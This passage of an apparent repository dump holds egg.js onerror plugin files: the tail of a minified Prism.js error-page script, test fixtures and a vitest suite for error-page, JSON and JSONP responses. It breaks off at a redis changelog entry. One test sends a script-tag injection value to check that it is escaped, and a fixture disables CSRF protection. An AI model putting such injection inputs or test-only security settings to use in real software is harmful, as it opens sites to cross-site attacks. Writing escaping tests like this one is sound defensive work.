r&&(n.filename=r.src,document.addEventListener&&!r.hasAttribute(\"data-manual\")&&(\"loading\"!==document.readyState?window.requestAnimationFrame?window.requestAnimationFrame(n.highlightAll):window.setTimeout(n.highlightAll,16):document.addEventListener(\"DOMContentLoaded\",n.highlightAll))),_self.Prism}();\"undefined\"!=typeof module&&module.exports&&(module.exports=Prism),\"undefined\"!=typeof global&&(global.Prism=Prism);\nPrism.languages.markup={comment:/<!--[\\w\\W]*?-->/,prolog:/<\\?[\\w\\W]+?\\?>/,doctype:/<!DOCTYPE[\\w\\W]+?>/i,cdata:/<!\\[CDATA\\[[\\w\\W]*?]]>/i,tag:{pattern:/<\\/?(?!\\d)[^\\s>\\/=$<]+(?:\\s+[^\\s>\\/=]+(?:=(?:(\"|')(?:\\\\\\1|\\\\?(?!\\1)[\\w\\W])*\\1|[^\\s'\">=]+))?)*\\s*\\/?>/i,inside:{tag:{pattern:/^<\\/?[^\\s>\\/]+/i,inside:{punctuation:/^<\\/?/,namespace:/^[^\\s>\\/:]+:/}},\"attr-value\":{pattern:/=(?:('|\")[\\w\\W]*?(\\1)|[^\\s>]+)/i,inside:{punctuation:/[=>\"']/}},punctuation:/\\/?>/,\"attr-name\":{pattern:/[^\\s>\\/]+/,inside:{namespace:/^[^\\s>\\/:]+:/}}}},entity:/&#?[\\da-z]{1,8};/i},Prism.hooks.add(\"wrap\",function(a){\"entity\"===a.type&&(a.attributes.title=a.content.replace(/&amp;/,\"&\"))}),Prism.languages.xml=Prism.languages.markup,Prism.languages.html=Prism.languages.markup,Prism.languages.mathml=Prism.languages.markup,Prism.languages.svg=Prism.languages.markup;\nPrism.languages.css={comment:/\\/\\*[\\w\\W]*?\\*\\//,atrule:{pattern:/@[\\w-]+?.*?(;|(?=\\s*\\{))/i,inside:{rule:/@[\\w-]+/}},url:/url\\((?:([\"'])(\\\\(?:\\r\\n|[\\w\\W])|(?!\\1)[^\\\\\\r\\n])*\\1|.*?)\\)/i,selector:/[^\\{\\}\\s][^\\{\\};]*?(?=\\s*\\{)/,string:{pattern:/(\"|')(\\\\(?:\\r\\n|[\\w\\W])|(?!\\1)[^\\\\\\r\\n])*\\1/,greedy:!0},property:/(\\b|\\B)[\\w-]+(?=\\s*:)/i,important:/\\B!important\\b/i,\"function\":/[-a-z0-9]+(?=\\()/i,punctuation:/[(){};:]/},Prism.languages.css.atrule.inside.rest=Prism.util.clone(Prism.languages.css),Prism.languages.markup&&(Prism.languages.insertBefore(\"markup\",\"tag\",{style:{pattern:/(<style[\\w\\W]*?>)[\\w\\W]*?(?=<\\/style>)/i,lookbehind:!0,inside:Prism.languages.css,alias:\"language-css\"}}),Prism.languages.insertBefore(\"inside\",\"attr-value\",{\"style-attr\":{pattern:/\\s*style=(\"|').*?\\1/i,inside:{\"attr-name\":{pattern:/^\\s*style/i,inside:Prism.languages.markup.tag.inside},punctuation:/^\\s*=\\s*['\"]|['\"]\\s*$/,\"attr-value\":{pattern:/.+/i,inside:Prism.languages.css}},alias:\"language-css\"}},Prism.languages.markup.tag));\nPrism.languages.clike={comment:[{pattern:/(^|[^\\\\])\\/\\*[\\w\\W]*?\\*\\//,lookbehind:!0},{pattern:/(^|[^\\\\:])\\/\\/.*/,lookbehind:!0}],string:{pattern:/([\"'])(\\\\(?:\\r\\n|[\\s\\S])|(?!\\1)[^\\\\\\r\\n])*\\1/,greedy:!0},\"class-name\":{pattern:/((?:\\b(?:class|interface|extends|implements|trait|instanceof|new)\\s+)|(?:catch\\s+\\())[a-z0-9_\\.\\\\]+/i,lookbehind:!0,inside:{punctuation:/(\\.|\\\\)/}},keyword:/\\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\\b/,\"boolean\":/\\b(true|false)\\b/,\"function\":/[a-z0-9_]+(?=\\()/i,number:/\\b-?(?:0x[\\da-f]+|\\d*\\.?\\d+(?:e[+-]?\\d+)?)\\b/i,operator:/--?|\\+\\+?|!=?=?|<=?|>=?|==?=?|&&?|\\|\\|?|\\?|\\*|\\/|~|\\^|%/,punctuation:/[{}[\\];(),.:]/};\nPrism.languages.javascript=Prism.languages.extend(\"clike\",{keyword:/\\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\\b/,number:/\\b-?(0x[\\dA-Fa-f]+|0b[01]+|0o[0-7]+|\\d*\\.?\\d+([Ee][+-]?\\d+)?|NaN|Infinity)\\b/,\"function\":/[_$a-zA-Z\\xA0-\\uFFFF][_$a-zA-Z0-9\\xA0-\\uFFFF]*(?=\\()/i,operator:/--?|\\+\\+?|!=?=?|<=?|>=?|==?=?|&&?|\\|\\|?|\\?|\\*\\*?|\\/|~|\\^|%|\\.{3}/}),Prism.languages.insertBefore(\"javascript\",\"keyword\",{regex:{pattern:/(^|[^\\/])\\/(?!\\/)(\\[.+?]|\\\\.|[^\\/\\\\\\r\\n])+\\/[gimyu]{0,5}(?=\\s*($|[\\r\\n,.;})]))/,lookbehind:!0,greedy:!0}}),Prism.languages.insertBefore(\"javascript\",\"string\",{\"template-string\":{pattern:/`(?:\\\\\\\\|\\\\?[^\\\\])*?`/,greedy:!0,inside:{interpolation:{pattern:/\\$\\{[^}]+\\}/,inside:{\"interpolation-punctuation\":{pattern:/^\\$\\{|\\}$/,alias:\"punctuation\"},rest:Prism.languages.javascript}},string:/[\\s\\S]+/}}}),Prism.languages.markup&&Prism.languages.insertBefore(\"markup\",\"tag\",{script:{pattern:/(<script[\\w\\W]*?>)[\\w\\W]*?(?=<\\/script>)/i,lookbehind:!0,inside:Prism.languages.javascript,alias:\"language-javascript\"}}),Prism.languages.js=Prism.languages.javascript;\nPrism.languages.json={property:/\"(?:\\\\.|[^\\\\\"])*\"(?=\\s*:)/gi,string:/\"(?!:)(?:\\\\.|[^\\\\\"])*\"(?!:)/g,number:/\\b-?(0x[\\dA-Fa-f]+|\\d*\\.?\\d+([Ee][+-]?\\d+)?)\\b/g,punctuation:/[{}[\\]);,]/g,operator:/:/g,\"boolean\":/\\b(true|false)\\b/gi,\"null\":/\\bnull\\b/gi},Prism.languages.jsonp=Prism.languages.json;\nPrism.languages.typescript=Prism.languages.extend(\"javascript\",{keyword:/\\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield|false|true|module|declare|constructor|string|Function|any|number|boolean|Array|enum|symbol|namespace|abstract|require|type)\\b/}),Prism.languages.ts=Prism.languages.typescript;\n!function(){function e(e,t){return Array.prototype.slice.call((t||document).querySelectorAll(e))}function t(e,t){return t=\" \"+t+\" \",(\" \"+e.className+\" \").replace(/[\\n\\t]/g,\" \").indexOf(t)>-1}function n(e,n,i){for(var o,a=n.replace(/\\s+/g,\"\").split(\",\"),l=+e.getAttribute(\"data-line-offset\")||0,d=r()?parseInt:parseFloat,c=d(getComputedStyle(e).lineHeight),s=0;o=a[s++];){o=o.split(\"-\");var u=+o[0],m=+o[1]||u,h=document.createElement(\"div\");h.textContent=Array(m-u+2).join(\" \\n\"),h.setAttribute(\"aria-hidden\",\"true\"),h.className=(i||\"\")+\" line-highlight\",t(e,\"line-numbers\")||(h.setAttribute(\"data-start\",u),m>u&&h.setAttribute(\"data-end\",m)),h.style.top=(u-l-1)*c+\"px\",t(e,\"line-numbers\")?e.appendChild(h):(e.querySelector(\"code\")||e).appendChild(h)}}function i(){var t=location.hash.slice(1);e(\".temporary.line-highlight\").forEach(function(e){e.parentNode.removeChild(e)});var i=(t.match(/\\.([\\d,-]+)$/)||[,\"\"])[1];if(i&&!document.getElementById(t)){var r=t.slice(0,t.lastIndexOf(\".\")),o=document.getElementById(r);o&&(o.hasAttribute(\"data-line\")||o.setAttribute(\"data-line\",\"\"),n(o,i,\"temporary \"),document.querySelector(\".temporary.line-highlight\").scrollIntoView())}}if(\"undefined\"!=typeof self&&self.Prism&&self.document&&document.querySelector){var r=function(){var e;return function(){if(\"undefined\"==typeof e){var t=document.createElement(\"div\");t.style.fontSize=\"13px\",t.style.lineHeight=\"1.5\",t.style.padding=0,t.style.border=0,t.innerHTML=\"&nbsp;<br />&nbsp;\",document.body.appendChild(t),e=38===t.offsetHeight,document.body.removeChild(t)}return e}}(),o=0;Prism.hooks.add(\"complete\",function(t){var r=t.element.parentNode,a=r&&r.getAttribute(\"data-line\");r&&a&&/pre/i.test(r.nodeName)&&(clearTimeout(o),e(\".line-highlight\",r).forEach(function(e){e.parentNode.removeChild(e)}),n(r,a),o=setTimeout(i,1))}),window.addEventListener&&window.addEventListener(\"hashchange\",i)}}();\n!function(){\"undefined\"!=typeof self&&self.Prism&&self.document&&Prism.hooks.add(\"complete\",function(e){if(e.code){var t=e.element.parentNode,s=/\\s*\\bline-numbers\\b\\s*/;if(t&&/pre/i.test(t.nodeName)&&(s.test(t.className)||s.test(e.element.className))&&!e.element.querySelector(\".line-numbers-rows\")){s.test(e.element.className)&&(e.element.className=e.element.className.replace(s,\"\")),s.test(t.className)||(t.className+=\" line-numbers\");var n,a=e.code.match(/\\n(?!$)/g),l=a?a.length+1:1,r=new Array(l+1);r=r.join(\"<span></span>\"),n=document.createElement(\"span\"),n.setAttribute(\"aria-hidden\",\"true\"),n.className=\"line-numbers-rows\",n.innerHTML=r,t.hasAttribute(\"data-start\")&&(t.style.counterReset=\"linenumber \"+(parseInt(t.getAttribute(\"data-start\"),10)-1)),e.element.appendChild(n)}}})}();\n    </script>\n    <script>\n      (function() {\n        const $ = function(value) { return document.querySelector(value) };\n        const $$ = function(value) { return document.querySelectorAll(value) };\n        var nativeFramesLength = $$('.frame-row.native-frame').length;\n        var allFramesLength = $$('.frame-row').length;\n        function filterFrames () {\n          $('.frame-preview').classList.remove('is-hidden');\n          var isSelected = $('#frames-filter').checked;\n          if (isSelected) {\n            $$('.frame-row.native-frame').forEach(function(node) {\n              node.classList.add('force-show');\n            });\n          } else {\n            $$('.frame-row.native-frame').forEach(function(node) {\n              node.classList.remove('force-show');\n            });\n          }\n        }\n        function displayFirstView () {\n          if (nativeFramesLength !== allFramesLength) {\n            $('.frame-preview').classList.remove('is-hidden');\n          }\n        }\n        function showFrameContext (frame) {\n          $frameContext = frame.querySelector('.frame-context');\n          var $context = $frameContext.innerHTML;\n          $context = $context.trim().length === 0 ? 'Missing stack frames' : $context;\n          var $line = $frameContext.getAttribute('data-line');\n          var $start = $frameContext.getAttribute('data-start');\n          var $file = $frameContext.getAttribute('data-file');\n          var $method = $frameContext.getAttribute('data-method');\n          var $lineColumn = $frameContext.getAttribute('data-line-column');\n          var $language = $frameContext.getAttribute('data-extname') || 'js';\n          $('#code-drop').parentNode.setAttribute('data-line', $line);\n          $('#code-drop').parentNode.setAttribute('data-start', $start);\n          $('#code-drop').parentNode.setAttribute('data-language', $language);\n          $('#code-drop').parentNode.setAttribute('data-line-offset', (Number($start) - 1));\n          $('#code-drop').setAttribute('class', 'language-' + $language);\n          $('#code-drop').innerHTML = $context;\n          $('#frame-file').innerHTML = $file;\n          $('#frame-method').innerHTML = $method + '' + $lineColumn;\n\n          Prism.highlightAll();\n        }\n        $$('.frame-row').forEach(function(node) {\n          node.onclick = function (e) {\n            $$('.frame-row').forEach(function(_node) { _node.classList.remove('active') });\n            e.currentTarget.classList.add('active');\n            showFrameContext(e.currentTarget);\n          }\n        })\n        $('#frames-filter').onclick = function () {\n          filterFrames();\n        }\n        displayFirstView();\n        showFrameContext($('.frame-row.active'));\n      })();\n    </script>\n  </section>\n</body>\n</html>"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-customize/app/controller/home.js",
    "content": "exports.index = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.code) {\n    err.code = ctx.query.code;\n  }\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.message) {\n    err.message = ctx.query.message;\n  }\n  throw err;\n};\n\nexports.csrf = async (ctx) => {\n  ctx.set('x-csrf', ctx.csrf);\n  ctx.body = 'test';\n};\n\nexports.test = async (ctx) => {\n  const err = new SyntaxError('syntax error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  throw err;\n};\n\nexports.jsonp = async () => {\n  throw new Error('jsonp error');\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-customize/app/controller/user.js",
    "content": "module.exports = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.errors) {\n    err.errors = ctx.query.errors;\n  }\n  throw err;\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-customize/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home.index);\n  app.get('/csrf', app.controller.home.csrf);\n  app.post('/test', app.controller.home.test);\n  app.get('/user', app.controller.user);\n  app.get('/user.json', app.controller.user);\n  app.get('/jsonp', app.jsonp(), app.controller.home.jsonp);\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-customize/config/config.default.js",
    "content": "exports.onerror = {\n  errorPageUrl: 'https://eggjs.com/500.html',\n  json(err, ctx) {\n    ctx.body = { msg: 'error' };\n    ctx.status = 500;\n  },\n};\n\nexports.logger = {\n  level: 'NONE',\n  consoleLevel: 'NONE',\n};\n\nexports.keys = 'foo,bar';\n\nexports.security = {\n  csrf: false,\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-customize/package.json",
    "content": "{\n  \"name\": \"onerror-customize\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-no-errorpage/app/controller/home.js",
    "content": "exports.index = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.code) {\n    err.code = ctx.query.code;\n  }\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.message) {\n    err.message = ctx.query.message;\n  }\n  throw err;\n};\n\nexports.csrf = async (ctx) => {\n  ctx.set('x-csrf', ctx.csrf);\n  ctx.body = 'test';\n};\n\nexports.test = async (ctx) => {\n  const err = new SyntaxError('syntax error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  throw err;\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-no-errorpage/app/controller/user.js",
    "content": "module.exports = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.errors) {\n    err.errors = ctx.query.errors;\n  }\n  throw err;\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-no-errorpage/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home.index);\n  app.get('/csrf', app.controller.home.csrf);\n  app.post('/test', app.controller.home.test);\n  app.get('/user.json', app.controller.user);\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-no-errorpage/config/config.default.js",
    "content": "'use strict';\n\nexports.onerror = {};\n\nexports.logger = {\n  level: 'NONE',\n  consoleLevel: 'NONE',\n};\n\nexports.keys = 'foo,bar';\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-no-errorpage/package.json",
    "content": "{\n  \"name\": \"onerror-no-errorpage\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/onerror.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { type Context } from 'egg';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nfunction getFixtures(name: string) {\n  return path.join(__dirname, 'fixtures', name);\n}\n\ndescribe('test/onerror.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    mm.env('local');\n    mm.consoleLevel('NONE');\n    app = mm.app({ baseDir: getFixtures('onerror') });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should set app.config.onerror.errorPageUrl work', () => {\n    assert.equal(app.config.onerror.errorPageUrl, 'https://eggjs.com/500.html');\n  });\n\n  it('should handle error not in the req/res cycle with no ctx', async () => {\n    mm.consoleLevel('NONE');\n    const app = mm.app({\n      baseDir: getFixtures('mock-test-error'),\n    });\n    await app.ready();\n    const err = new Error('mock test error');\n    app.emit('error', err, null);\n    (err as any).status = 400;\n    app.emit('error', err, null);\n    app.close();\n  });\n\n  it('should handle status:-1 as status:500', async () => {\n    const res = await app\n      .httpRequest()\n      .get('/?status=-1')\n      // .expect(/<h1 class=\"box\">Error in &#x2F;\\?status&#x3D;-1<\\/h1>/)\n      .expect(500);\n    assert.match(res.text, /<h1 class=\"box\">Error in &#x2F;\\?status&#x3D;-1<\\/h1>/);\n  });\n\n  it('should handle status:undefined as status:500', async () => {\n    const res = await app\n      .httpRequest()\n      .get('/')\n      // .expect(/<div class=\"context\">test error<\\/div>/)\n      .expect(500);\n    assert.match(res.text, /<div class=\"context\">test error<\\/div>/);\n  });\n\n  it('should handle not exists file in stack without error', async () => {\n    await app\n      .httpRequest()\n      .get('/unknownFile')\n      .expect(/<div class=\"context\">test error<\\/div>/)\n      .expect(500);\n  });\n\n  it('should handle escape xss', async () => {\n    await app\n      .httpRequest()\n      .get('/?message=<script></script>')\n      .expect(/&lt;script&gt;&lt;&#x2F;script&gt;/)\n      .expect(500);\n  });\n\n  it('should handle status:1 as status:500', async () => {\n    await app\n      .httpRequest()\n      .get('/?status=1')\n      .expect(/<div class=\"context\">test error<\\/div>/)\n      .expect(500);\n  });\n\n  it('should handle status:400', async () => {\n    await app\n      .httpRequest()\n      .get('/?status=400')\n      .expect(/<div class=\"context\">test error<\\/div>/)\n      .expect(400);\n  });\n\n  it('should return error json format when Accept is json', async () => {\n    await app\n      .httpRequest()\n      .get('/user')\n      .set('Accept', 'application/json')\n      .expect((res) => {\n        assert(res.body);\n        assert(res.body.message === 'test error');\n        assert(res.body.stack.includes('Error: test error'));\n        // should not includes error detail\n        assert(!res.body.frames);\n      })\n      .expect(500);\n  });\n\n  it('should return error json format when request path match *.json', async () => {\n    await app\n      .httpRequest()\n      .get('/user.json')\n      .expect((res) => {\n        assert(res.body);\n        assert(res.body.message === 'test error');\n        assert(res.body.stack.includes('Error: test error'));\n        assert(res.body.status === 500);\n        assert(res.body.name === 'Error');\n      })\n      .expect(500);\n  });\n\n  it('should support custom accpets return err.stack', async () => {\n    mm(app.config.onerror, 'accepts', (ctx: Context) => {\n      if (ctx.get('x-requested-with') === 'XMLHttpRequest') return 'json';\n      return 'html';\n    });\n    await app\n      .httpRequest()\n      .get('/user.json')\n      .set('x-requested-with', 'XMLHttpRequest')\n      .expect(/\"message\":\"test error\"/)\n      .expect(/\"stack\":/)\n      .expect(500);\n  });\n\n  it('should return err.stack when unittest', async () => {\n    mm(app.config, 'env', 'unittest');\n    await app\n      .httpRequest()\n      .get('/user.json')\n      .set('Accept', 'application/json')\n      .expect(/\"message\":\"test error\"/)\n      .expect(/\"stack\":/)\n      .expect(500);\n  });\n\n  it('should return err status message', async () => {\n    mm(app.config, 'env', 'prod');\n    await app\n      .httpRequest()\n      .get('/user.json')\n      .set('Accept', 'application/json')\n      .expect({ message: 'Internal Server Error' })\n      .expect(500);\n  });\n\n  it('should return err.errors', async () => {\n    await app\n      .httpRequest()\n      .get('/user.json?status=400&errors=test')\n      .set('Accept', 'application/json')\n      .expect(/test/)\n      .expect(400);\n  });\n\n  it('should return err json at prod env', async () => {\n    mm(app.config, 'env', 'prod');\n    await app\n      .httpRequest()\n      .get('/user.json?status=400&errors=test')\n      .set('Accept', 'application/json')\n      .expect(/test/)\n      .expect({\n        errors: 'test',\n        message: 'test error',\n      })\n      .expect('Content-Type', 'application/json; charset=utf-8')\n      .expect(400);\n  });\n\n  it('should return 4xx html at prod env', async () => {\n    mm(app.config, 'env', 'prod');\n    await app\n      .httpRequest()\n      .post('/test?status=400&errors=test')\n      .set('Accept', 'text/html')\n      .expect('<h2>400 Bad Request</h2>')\n      .expect('Content-Type', 'text/html; charset=utf-8')\n      .expect(400);\n  });\n\n  it('should return 500 html at prod env', async () => {\n    mm(app.config, 'env', 'prod');\n    mm(app.config.onerror, 'errorPageUrl', '');\n    await app\n      .httpRequest()\n      .post('/test?status=502&errors=test')\n      .set('Accept', 'text/html')\n      .expect('<h2>Internal Server Error, real status: 502</h2>')\n      .expect('Content-Type', 'text/html; charset=utf-8')\n      .expect(500);\n  });\n\n  it('should return err json at non prod env', async () => {\n    await app\n      .httpRequest()\n      .get('/user.json?status=400&errors=test')\n      .set('Accept', 'application/json')\n      .expect(/test/)\n      .expect({\n        errors: 'test',\n        message: 'test error',\n      })\n      .expect(400);\n  });\n\n  it('should return parsing json error on html response', async () => {\n    await app\n      .httpRequest()\n      .post('/test?status=400')\n      .send({ test: 1 })\n      .set('Content-Type', 'application/json')\n      .expect(/Problems parsing JSON/)\n      .expect('Content-Type', 'text/html; charset=utf-8')\n      .expect(400);\n  });\n\n  it('should ignore secure config on html response', async () => {\n    await app\n      .httpRequest()\n      .post('/test?status=400')\n      .send({ test: 1 })\n      .set('Content-Type', 'application/json')\n      .expect(/keys: &#39;&lt;String len: 7/)\n      .expect('Content-Type', 'text/html; charset=utf-8')\n      .expect(400);\n  });\n\n  it('should return parsing json error on json response', async () => {\n    await app\n      .httpRequest()\n      .post('/test?status=400')\n      .send({ test: 1 })\n      .set('Content-Type', 'application/json')\n      .set('Accept', 'application/json')\n      .expect({\n        message: 'Problems parsing JSON',\n      })\n      .expect('Content-Type', 'application/json; charset=utf-8')\n      .expect(400);\n  });\n\n  it('should redirect to error page', async () => {\n    mm(app.config, 'env', 'test');\n    await app\n      .httpRequest()\n      .get('/?status=500')\n      .expect('Location', 'https://eggjs.com/500.html?real_status=500')\n      .expect(302);\n  });\n\n  it('should handle 403 err', async () => {\n    mm(app.config, 'env', 'prod');\n    await app.httpRequest().get('/?status=403&code=3').expect('<h2>403 Forbidden</h2>').expect(403);\n  });\n\n  it('should return jsonp style', async () => {\n    mm(app.config, 'env', 'prod');\n    await app\n      .httpRequest()\n      .get('/jsonp?callback=fn')\n      .expect('content-type', 'application/javascript; charset=utf-8')\n      .expect('/**/ typeof fn === \\'function\\' && fn({\"message\":\"Internal Server Error\"});')\n      .expect(500);\n  });\n\n  describe('customize', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.consoleLevel('NONE');\n      app = mm.app({\n        baseDir: getFixtures('onerror-customize'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should support customize json style', async () => {\n      mm(app.config, 'env', 'prod');\n      await app\n        .httpRequest()\n        .get('/user.json')\n        .expect('content-type', 'application/json; charset=utf-8')\n        .expect({ msg: 'error' })\n        .expect(500);\n    });\n\n    it('should return jsonp style', async () => {\n      mm(app.config, 'env', 'prod');\n      await app\n        .httpRequest()\n        .get('/jsonp?callback=fn')\n        .expect('content-type', 'application/javascript; charset=utf-8')\n        .expect('/**/ typeof fn === \\'function\\' && fn({\"msg\":\"error\"});')\n        .expect(500);\n    });\n\n    it('should handle html by default', async () => {\n      mm(app.config, 'env', 'test');\n      await app\n        .httpRequest()\n        .get('/?status=500')\n        .expect('Location', 'https://eggjs.com/500.html?real_status=500')\n        .expect(302);\n    });\n  });\n\n  if (process.platform === 'linux') {\n    // ignore Error: write ECONNRESET on windows and macos\n    it('should log warn 4xx', async () => {\n      fs.rmSync(getFixtures('onerror-4xx/logs'), {\n        force: true,\n        recursive: true,\n      });\n      const app = mm.app({\n        baseDir: getFixtures('onerror-4xx'),\n      });\n      await app.ready();\n      await app\n        .httpRequest()\n        .post('/body_parser')\n        .set('Content-Type', 'application/x-www-form-urlencoded')\n        .send({\n          foo: Buffer.alloc(1024 * 1000)\n            .fill(1)\n            .toString(),\n        })\n        .expect(/request entity too large/)\n        .expect(413);\n      await app.close();\n\n      const warnLog = getFixtures('onerror-4xx/logs/onerror-4xx/onerror-4xx-web.log');\n      const content = fs.readFileSync(warnLog, 'utf8');\n      assert.match(content, /POST \\/body_parser] nodejs\\..*?Error: request entity too large/);\n    });\n  }\n\n  describe('no errorpage', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      mm.consoleLevel('NONE');\n      app = app = mm.app({\n        baseDir: getFixtures('onerror-no-errorpage'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should display 500 Internal Server Error', async () => {\n      mm(app.config, 'env', 'prod');\n      await app\n        .httpRequest()\n        .get('/?status=500')\n        .expect(500)\n        .expect(/Internal Server Error, real status: 500/);\n    });\n  });\n\n  describe('app.errorpage.url=/500', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.consoleLevel('NONE');\n      app = app = mm.app({\n        baseDir: getFixtures('onerror-custom-500'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should redirect to error page', async () => {\n      mm(app.config, 'env', 'prod');\n\n      await app.httpRequest().get('/mockerror').expect('Location', '/500?real_status=500').expect(302);\n\n      await app.httpRequest().get('/mock4xx').expect('<h2>400 Bad Request</h2>').expect(400);\n\n      await app.httpRequest().get('/500').expect('hi, this custom 500 page').expect(500);\n\n      await app.httpRequest().get('/special').expect('Location', '/specialerror?real_status=500').expect(302);\n    });\n  });\n\n  describe('onerror.ctx.error env=local', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('local');\n      mm.consoleLevel('NONE');\n      app = mm.app({\n        baseDir: getFixtures('onerror-ctx-error'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should 500 full html', async () => {\n      await app\n        .httpRequest()\n        .get('/error')\n        .expect(500)\n        .expect(/you can&#x60;t get userId\\./);\n    });\n  });\n\n  describe('onerror.ctx.error env=unittest', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.consoleLevel('NONE');\n      app = mm.app({\n        baseDir: getFixtures('onerror-ctx-error'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should 500 simple html', async () => {\n      await app\n        .httpRequest()\n        .get('/error')\n        .expect(500)\n        .expect(/you can`t get userId\\./);\n    });\n  });\n\n  describe('appErrorFilter', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.consoleLevel('NONE');\n      app = mm.app({\n        baseDir: getFixtures('custom-listener-onerror'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should ignore error log', async () => {\n      mm(app.logger, 'log', () => {\n        throw new Error('should not excute');\n      });\n\n      await app.httpRequest().get('/?name=IgnoreError').expect(500);\n    });\n\n    it('should custom log error log', async () => {\n      let lastMessage = '';\n      mm(app.logger, 'error', (msg: string) => {\n        lastMessage = msg;\n      });\n      await app.httpRequest().get('/?name=CustomError').expect(500);\n      assert.equal(lastMessage, 'error happened');\n    });\n\n    it('should default log error', async () => {\n      let lastError: Error | undefined;\n      mm(app.logger, 'log', (_LEVEL: string, args: any[]) => {\n        lastError = args[0];\n      });\n\n      await app.httpRequest().get('/?name=OtherError').expect(500);\n      assert(lastError);\n      assert.equal(lastError.name, 'OtherError');\n    });\n  });\n\n  describe.skipIf(process.platform === 'win32')('agent emit error', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.cluster({\n        baseDir: getFixtures('agent-error'),\n      });\n      app.debug();\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should log error', async () => {\n      // console.log('app.stderr: %s', app.stderr);\n      // console.log(app.stdout);\n      await app.close();\n      assert.match(app.stderr, /TypeError/);\n    });\n  });\n\n  describe('replace onerror default template', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.consoleLevel('NONE');\n      app = mm.app({\n        baseDir: getFixtures('onerror-custom-template'),\n      });\n      return app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    afterEach(mm.restore);\n\n    it('should use custom template', async () => {\n      mm(app.config, 'env', 'local');\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(/custom template/)\n        .expect(500);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/onerror/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/onerror/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  copy: [\n    {\n      from: 'src/lib/onerror_page.mustache.html',\n      to: 'dist/lib',\n    },\n  ],\n});\n"
  },
  {
    "path": "plugins/onerror/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 20000,\n    hookTimeout: 20000,\n  },\n});\n"
  },
  {
    "path": "plugins/redis/CHANGELOG.md",
